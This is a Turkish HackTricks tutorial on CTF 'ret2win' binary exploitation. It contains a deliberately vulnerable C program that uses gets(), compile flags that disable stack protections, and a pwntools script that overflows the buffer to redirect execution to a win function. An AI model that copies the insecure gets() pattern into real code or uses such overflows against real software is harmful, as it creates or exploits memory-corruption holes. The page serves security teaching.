Ret2win

Support HackTricks

Temel Bilgiler

Ret2win zorlukları, özellikle binary exploitation ile ilgili görevlerde Capture The Flag (CTF) yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir açığı kullanarak, genellikle win, flag gibi bir isimle anılan, ikili dosya içinde çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki return address'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler:

C Örneği

Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir win fonksiyonunu düşünün:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Bu programı yığın korumaları olmadan ve ASLR devre dışı bırakılmış olarak derlemek için aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF yarışmalarında yaygındır).

  • -fno-stack-protector: Yığın taşmalarına karşı korumaları devre dışı bırak.

  • -z execstack: Yığında kodun çalıştırılmasına izin ver.

  • -no-pie: win fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak.

  • -o vulnerable: Çıktı dosyasını vulnerable olarak adlandır.

Python Exploit using Pwntools

Exploit için pwntools kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini win fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win fonksiyonunun adresini bulmak için gdb, objdump veya ikili dosyaları incelemenizi sağlayan herhangi bir aracı kullanabilirsiniz. Örneğin, objdump ile şunu kullanabilirsiniz:

objdump -d vulnerable | grep win

Bu komut, win fonksiyonunun başlangıç adresi de dahil olmak üzere, montajını gösterecektir.

Python betiği, vulnerable_function tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini win adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. vulnerable_function döndüğünde, main'e veya çıkışa dönmek yerine win'e atlar ve mesaj yazdırılır.

Koruma Önlemleri

  • PIE devre dışı bırakılmalıdır ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon read veya benzeri olduğunda, dönüş adresini win fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık bir Kısmi Üst Yazma yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı 1/16 (1 nibble) vardır.

  • Yığın Kanalları da devre dışı bırakılmalıdır; aksi takdirde, tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.

Diğer örnekler & Referanslar

ARM64 Örneği

Ret2win - arm64
HackTricks'i Destekleyin

Last updated